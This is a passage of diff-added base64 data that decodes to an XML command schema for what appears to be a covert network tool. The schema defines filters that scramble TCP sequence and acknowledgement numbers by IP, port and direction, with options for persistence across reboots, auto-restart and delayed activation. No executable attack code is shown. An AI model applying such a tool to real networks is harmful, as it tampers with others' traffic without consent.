+aXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9kaXI8L25jdXJz
+ZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+RGlyZWN0aW9uPC9uY3Vyc2VsYWJlbD4N
+CiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8
+L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAg
+PGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2
+ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xOTwv
+YXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5UaGUgZGlyZWN0aW9uIGluIGEg
+Y2xpZW50IHNlcnZlciBjb25uZWN0aW9uIHRoYXQgdGhpcyBmaWx0ZXIgYXBwbGllcyB0by4gIElm
+IGZsYWcgaXMgbm90IHVzZWQsIGJvdGggZGlyZWN0aW9uIHdpbGwgYmUgZmlsdGVyZWQgb24uICBJ
+ZiAxIGlzIGVudGVyZWQsIG9ubHkgY29ubmVjdGlvbnMgZnJvbSB0aGUgY2xpZW50IHdpbGwgYmUg
+ZmlsdGVyZWQgb24uICBJZiAyLCBvbmx5IHRob3NlIGZyb20gdGhlIHNlcnZlci48L2hlbHB0ZXh0
+Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0K
+ICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJsIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5z
+aXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3Jh
+bWJsZV9wYXJhbV9sPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlRDUCBT
+ZXEgTnVtIE1pbjwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAg
+ICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjEx
+PC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0K
+ICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwQzwvcHJpbWl0aXZlPg0KICAgICAg
+ICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxw
+dGV4dD5NaW5pbXVtIHZhbHVlIGZvciB0Y3Agc2VxdWVuY2UgbnVtYmVyIGFzc2lnbm1lbnQuPC9o
+ZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFt
+ZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iaGkiPg0KICAgICAgICAgICAgICA8
+Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJz
+ZWlkPnNjcmFtYmxlX3BhcmFtX2g8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFi
+ZWw+VENQIFNlcSBOdW0gTWF4PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0
+ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAg
+PHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0
+dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDBDPC9wcmltaXRpdmU+
+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4zPC9hcmdudW1iZXI+DQogICAgICAgICAgICAg
+ICAgPGhlbHB0ZXh0Pk1heGltdW0gdmFsdWUgZm9yIHRjcCBzZXF1ZW5jZSBudW1iZXIgYXNzaWdu
+bWVudC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAg
+IDwvcGFyYW1ldGVyPg0KICAgICAgICAgIDwvb3B0aW9uYWxfcGFyYW1ldGVycz4NCiAgICAgICAg
+PC9wYXJhbWV0ZXJzPg0KICAgICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgICA8c2VjdGlv
+bj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDx0aXRsZT5TY3JhbWJsZSB0
+Y3Bfc2VxbnVtIEZpbHRlcjwvdGl0bGU+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAg
+ICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8Y29sdW1uPg0K
+ICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzE8L2VsZW1lbnQ+
+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfMjwvZWxlbWVu
+dD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8zPC9lbGVt
+ZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzQ8L2Vs
+ZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAg
+ICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNTwvZWxlbWVudD4NCiAg
+ICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl82PC9lbGVtZW50Pg0K
+ICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzc8L2VsZW1lbnQ+
+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfODwvZWxlbWVu
+dD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAgICAgICAg
+ICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50
+PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfOTwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1u
+Pg0KICAgICAgICAgICAgPGNvbHVtbi8+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAg
+IDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+
+c2NyYW1ibGVfcGFyYW1fZW48L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAg
+ICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3Bz
+PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uPg0K
+ICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9yPC9lbGVtZW50Pg0KICAgICAg
+ICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9u
+Pg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJs
+ZV9wYXJhbV90ZDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAg
+PGNvbHVtbj4NCiAgICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV90PC9lbGVt
+ZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAg
+ICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1l
+bnQ+c2NyYW1ibGVfcGFyYW1fc2Q8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAg
+ICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFt
+X3M8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+
+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3NtPC9lbGVtZW50Pg0KICAg
+ICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0
+aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1i
+bGVfcGFyYW1fcGQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAg
+IDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3A8L2VsZW1l
+bnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAg
+ICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3BtPC9lbGVtZW50Pg0KICAgICAgICAgICAg
+PC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAg
+ICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1f
+ZGlyPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1u
+Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9sPC9lbGVtZW50Pg0KICAg
+ICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8
+ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9oPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+
+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgICA8
+L2NtZD4NCiAgICAgIDxjbWQgdGl0bGU9InRjcC1hY2tudW0iPg0KICAgICAgICA8aGVscHRleHQ+
+Q3JlYXRlcyBhIG5ldyB0Y3AtYWNrbnVtIHJ1bGUgYmFzZWQgb24gdGhlIHNwZWNpZmllZCBjcml0
+ZXJpYS48L2hlbHB0ZXh0Pg0KICAgICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgICA8cmVxdWly
+ZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0
+aXZlPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDBEPC9wcmltaXRpdmU+DQogICAg
+ICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxvcHRpb25hbF9wcmltaXRp
+dmVzPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDA0PC9wcmltaXRpdmU+DQogICAg
+ICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDU8L3ByaW1pdGl2ZT4NCiAgICAgICAgICA8L29w
+dGlvbmFsX3ByaW1pdGl2ZXM+DQogICAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgICAgPGF0dHJp
+YnV0ZXM+DQogICAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgICA8Y29t
+bWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAg
+ICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfMTwvbmN1cnNlaWQ+DQogICAgICAg
+ICAgICAgICAgPG5jdXJzZWxhYmVsPlNvdXJjZSBJUDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAg
+ICAgICAgPHR5cGU+aXB2NDwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4N
+CiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAg
+ICAgICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRy
+aWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNv
+bW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAg
+ICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzI8L25jdXJzZWlkPg0KICAgICAg
+ICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Tb3VyY2UgTWFzazwvbmN1cnNlbGFiZWw+DQogICAgICAg
+ICAgICAgICAgPHR5cGU+aXB2NDwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xNjwvc2l6
+ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAg
+ICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9h
+dHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAg
+PGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3Jl
+YXRlX2F0dHJpYl8zPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlN0YXJ0
+IFNyYyBQb3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8
+L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+
+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4zPC9hcmdudW1iZXI+DQogICAgICAgICAgICAg
+IDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxl
+X2NyZWF0ZV9hdHRyaWJfNDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5F
+bmQgU3JjIFBvcnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAg
+ICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4x
+MTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2
+ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjQ8L2FyZ251bWJlcj4NCiAgICAgICAgICAg
+ICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAg
+ICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAg
+ICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzU8L25jdXJzZWlk
+Pg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5EZXN0aW5hdGlvbiBJUDwvbmN1cnNlbGFi
+ZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2NDwvdHlwZT4NCiAgICAgICAgICAgICAgICA8
+c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3By
+aW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjU8L2FyZ251bWJlcj4NCiAgICAg
+ICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0K
+ICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8YXR0cmlidXRl
+Pg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzY8L25j
+dXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5EZXN0aW5hdGlvbiBNYXNrPC9u
+Y3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgICA8dHlwZT5pcHY0PC90eXBlPg0KICAgICAgICAg
+ICAgICAgIDxzaXplPjE2PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAw
+MDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+NjwvYXJnbnVtYmVy
+Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRy
+aWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxu
+Y3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzc8L25jdXJzZWlkPg0KICAgICAgICAgICAg
+ICA8bmN1cnNlbGFiZWw+U3RhcnQgRHN0IFBvcnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAg
+ICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAg
+ICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4
+MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjc8L2FyZ251
+bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRf
+YXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAg
+ICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl84PC9uY3Vyc2VpZD4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWxhYmVsPkVuZCBEc3QgUG9ydDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAg
+ICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAg
+ICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+
+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+ODwvYXJn
+bnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFu
+ZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAg
+ICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0
+ZV9hdHRyaWJfOTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlByb3Rv
+Y29sPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5cGU+DQog
+ICAgICAgICAgICAgICAgPHNpemU+MTY8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2
+ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj45PC9h
+cmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21t
+YW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L3JlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAg
+ICAgPG9wdGlvbmFsX2F0dHJpYnV0ZXMvPg0KICAgICAgICA8L2F0dHJpYnV0ZXM+DQogICAgICAg
+IDxwYXJhbWV0ZXJzPg0KICAgICAgICAgIDxyZXF1aXJlZF9wYXJhbWV0ZXJzLz4NCiAgICAgICAg
+ICA8b3B0aW9uYWxfcGFyYW1ldGVycz4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iZW4i
+Pg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAg
+ICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX2VuPC9uY3Vyc2VpZD4NCiAgICAg
+ICAgICAgICAgPG5jdXJzZWxhYmVsPkVuYWJsZTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAg
+IDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+cHJlc2VuY2U8L3R5cGU+DQogICAg
+ICAgICAgICAgICAgPHNpemU+MTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVl
+PnRydWU8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAw
+MDQ8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4N
+CiAgICAgICAgICAgICAgICA8aGVscHRleHQ+RW5hYmxlcyB0aGUgcnVsZSBvbiBjcmVhdGlvbjwv
+aGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJh
+bWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InBzIj4NCiAgICAgICAgICAgICAg
+PGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vy
+c2VpZD5zY3JhbWJsZV9wYXJhbV9wczwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2Vs
+YWJlbD5QZXJzaXN0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAg
+ICAgICAgICAgICAgICA8dHlwZT5wcmVzZW5jZTwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6
+ZT4xPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+dHJ1ZTwvZGVmYXVsdHZh
+bHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwNTwvcHJpbWl0aXZlPg0K
+ICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAg
+IDxoZWxwdGV4dD5FbmFibGUgdGhlIGZpbHRlciB0byBzdXJ2aXZlIHJlYm9vdHMuPC9oZWxwdGV4
+dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4N
+CiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iciI+DQogICAgICAgICAgICAgIDxjYXNlc2Vu
+c2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2Ny
+YW1ibGVfcGFyYW1fcjwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5BdXRv
+IFJlc3RhcnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAg
+ICAgICAgICAgIDx0eXBlPnByZXNlbmNlPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE8
+L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT50cnVlPC9kZWZhdWx0dmFsdWU+
+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAg
+ICAgICAgICAgICAgPGFyZ251bWJlcj4xMDwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxo
+ZWxwdGV4dD5BdXRvbWF0aWNhbGx5IHJlLWVuYWJsZSB0aGUgZmlsdGVyIHdoZW4gdGVybWluYXRp
+b24gaXMgcmVhY2hlZC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAg
+ICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJ0ZCI+
+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAg
+ICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fdGQ8L25jdXJzZWlkPg0KICAgICAg
+ICAgICAgICA8bmN1cnNlbGFiZWw+VGltZSBEZWxheTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAg
+ICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAg
+ICAgICAgICAgICAgIDxzaXplPjE1PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+
+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTE8L2Fy
+Z251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+VGltZSBiZWZvcmUgZmlsdGVyIGFm
+ZmVjdHMgcGFja2V0cy4gIFRoZSBmb3JtYXQgY2FuIGJlIHNlY29uZHMgaS5lLiAzNjAwLCBvciBv
+bmUgY2hhcmFjdGVyIHNwZWNpZmllcnMgZm9yIGRheXMsIGhvdXJzLCBtaW51dGVzLCBhbmQgc2Vj
+b25kcyBpLmUuIDFkIDJoIDNtIDRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmli
+dXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZs
+YWc9InQiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2
+ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3Q8L25jdXJzZWlkPg0K
+ICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+VGltZSBEdXJhdGlvbjwvbmN1cnNlbGFiZWw+DQog
+ICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+c3RyaW5nPC90
+eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE1PC9zaXplPg0KICAgICAgICAgICAgICAgIDxw
+cmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1i
+ZXI+MTI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+RHVyYXRpb24gcGFj
+a2V0cyB3aWxsIGJlIGFmZmVjdGVkIGJ5IGZpbHRlci4gIFRoZSBmb3JtYXQgY2FuIGJlIHNlY29u
+ZHMgaS5lLiAzNjAwLCBvciBvbmUgY2hhcmFjdGVyIHNwZWNpZmllcnMgZm9yIGRheXMsIGhvdXJz
+LCBtaW51dGVzLCBhbmQgc2Vjb25kcyBpLmUuIDFkIDJoIDNtIDRzLjwvaGVscHRleHQ+DQogICAg
+ICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAg
+ICAgICA8cGFyYW1ldGVyIGZsYWc9InNkIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+
